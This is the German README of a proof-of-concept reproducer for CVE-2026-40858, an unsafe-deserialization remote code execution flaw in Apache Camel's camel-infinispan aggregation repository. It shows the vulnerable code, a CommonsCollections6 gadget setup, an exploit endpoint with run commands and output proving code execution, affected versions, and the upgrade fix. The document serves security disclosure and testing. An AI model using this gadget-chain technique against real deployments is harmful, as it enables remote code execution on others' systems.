
Reproducer für CVE-2026-40858 — Apache Camel camel-infinispan Remote-Aggregations-Repository unsichere Deserialisierung (RCE)
Dieses Projekt demonstriert eine Java-Deserialisierungssicherheitslücke in der Apache-Camel-Komponente camel-infinispan, die als CVE-2026-40858 verfolgt wird. Das ProtoStream-basierte Remote-Aggregation-Repository serialisiert jeden aggregierten Exchange in einen entfernten Infinispan-Cache und deserialisiert ihn beim Zurücklesen (bei get() / recover()) mit java.io.ObjectInputStream und ohne ObjectInputFilter. Ein Angreifer, der in den zugrunde liegenden Cache schreiben kann, kann ein manipuliertes serialisiertes Objekt platzieren und Remote Code Execution erzielen, sobald das Repository diesen Schlüssel liest.
Advisory: https://camel.apache.org/security/CVE-2026-40858.html
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-infinispan (Remote-/HotRod-Aggregation-Repository) |
| Betroffene Klasse | org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[]) |
| CWE | CWE-502: Deserialisierung nicht vertrauenswürdiger Daten |
| Auswirkung | Remote Code Execution (RCE) |
| Betroffene Versionen | Von 4.0.0 vor 4.14.7, von 4.15.0 vor 4.18.2, von 4.19.0 vor 4.20.0 |
| Behobene Versionen | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23322 |
| Melder | Feng Ning (Innora Pte. Ltd.) |
InfinispanRemoteAggregationRepository speichert jeden Exchange als DefaultExchangeHolder. Mit dem ProtoStream-Marshaller wird dieser Holder durch DefaultExchangeHolderProtoAdapter angepasst, dessen ProtoStream-Feld #1 der mit einem einfachen ObjectOutputStream serialisierte Holder ist. Auf dem Rückweg baut der Adapter den Holder wieder auf, indem er diese Bytes an DefaultExchangeHolderUtils.deserialize übergibt:
// DefaultExchangeHolderUtils.deserialize(byte[]) - betroffene Version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // KEIN ObjectInputFilter
}
ClassLoadingAwareObjectInputStream erweitert – statt einzuschränken – die Menge der auflösbaren Klassen, sodass readObject() jede auf dem Klassenpfad vorhandene Gadget-Kette instanziieren wird. Da die Bytes direkt aus dem entfernten Cache stammen, kann jeder, der diesen Cache-Schlüssel beschreiben kann, den Deserialisierungsstrom kontrollieren – und das Gadget wird während readObject() ausgelöst, bevor der Wert jemals zu DefaultExchangeHolder gecastet wird.
Eine Route (oder, wie hier, Anwendungscode) verwendet das Remote-Aggregation-Repository, das auf einem Infinispan-Server basiert:
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // zeigt auf den Infinispan-Server
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... während der Aggregation ruft Camel repo.add(...) / repo.get(...) / repo.recover(...) auf
Jeder get()- oder recover()-Aufruf für einen Schlüssel, dessen gespeicherter Wert manipuliert wurde, löst die Senke aus.
Der anfällige Camel-Code läuft in der Anwendung (auf dem Host); der Infinispan-Server läuft in Docker als Backend-Speicher, mit dem das Repository kommuniziert. Dies spiegelt die Praxis wider: Die nicht vertrauenswürdigen Daten befinden sich im gemeinsamen Cache.
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (Gadget)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (der entfernte Cache)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # erstellt und startet InfinispanRemoteAggregationRepository
│ ├── Gadget.java # CommonsCollections6-Gadget, ausgelöst während readObject()
│ └── ExploitController.java # /exploit/attack: platziert einen Gadget-Holder, liest ihn dann
└── resources/
└── application.properties
Hinweis zum PoC-Abkürzung. Ein echter Angreifer schreibt die bösartigen Bytes direkt in den gemeinsamen Infinispan-Cache. Um den Reproducer autark zu halten, platziert
/exploit/attackden Wert über dasselbe Repository (repo.add(...)mit einem Gadget als Exchange-Body) und ruft dannrepo.get(...)auf, um das Lesen auszulösen. Die Senke, die das Gadget ausführt, ist Camels eigenesreadObject()– genauso, wie es bei jedem von einem Angreifer manipulierten Cache-Eintrag ausgelöst würde.
docker compose up -d
# warten, bis er bereit ist:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
Das CommonsCollections6-Gadget wird live über Reflection in java.util zusammengebaut, daher muss die JVM mit --add-opens java.base/java.util=ALL-UNNAMED gestartet werden:
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
# >>> RCE proof — /tmp/pwned exists: true
/tmp/pwned wird vom Gadget erstellt (touch /tmp/pwned), während das Repository den platzierten Cache-Wert deserialisiert.
docker compose down
rm -f /tmp/pwned
Jede Bereitstellung, die InfinispanRemoteAggregationRepository (ProtoStream-Marshalling) gegen einen Cache verwendet, in den ein Angreifer schreiben kann. Schreibzugriff auf den Cache kann von einem gemeinsamen/Mandanten-fähigen Infinispan-Cluster, einem netzwerkerreichbaren HotRod-Endpunkt oder jedem anderen Producer stammen, der Daten im selben Cache ablegt.
commons-collections:3.2.1).Upgrade auf 4.14.7 / 4.18.2 / 4.20.0. Der Fix wendet einen ObjectInputFilter/eine Klasse-erlaubnisliste auf die Holder-Deserialisierung an, entsprechend der Härtung der anderen Camel-Aggregation-Repositories (camel-leveldb, camel-cassandraql, camel-jms) und von camel-mina/camel-netty.
Bis zum Upgrade:
Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich offengelegte und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.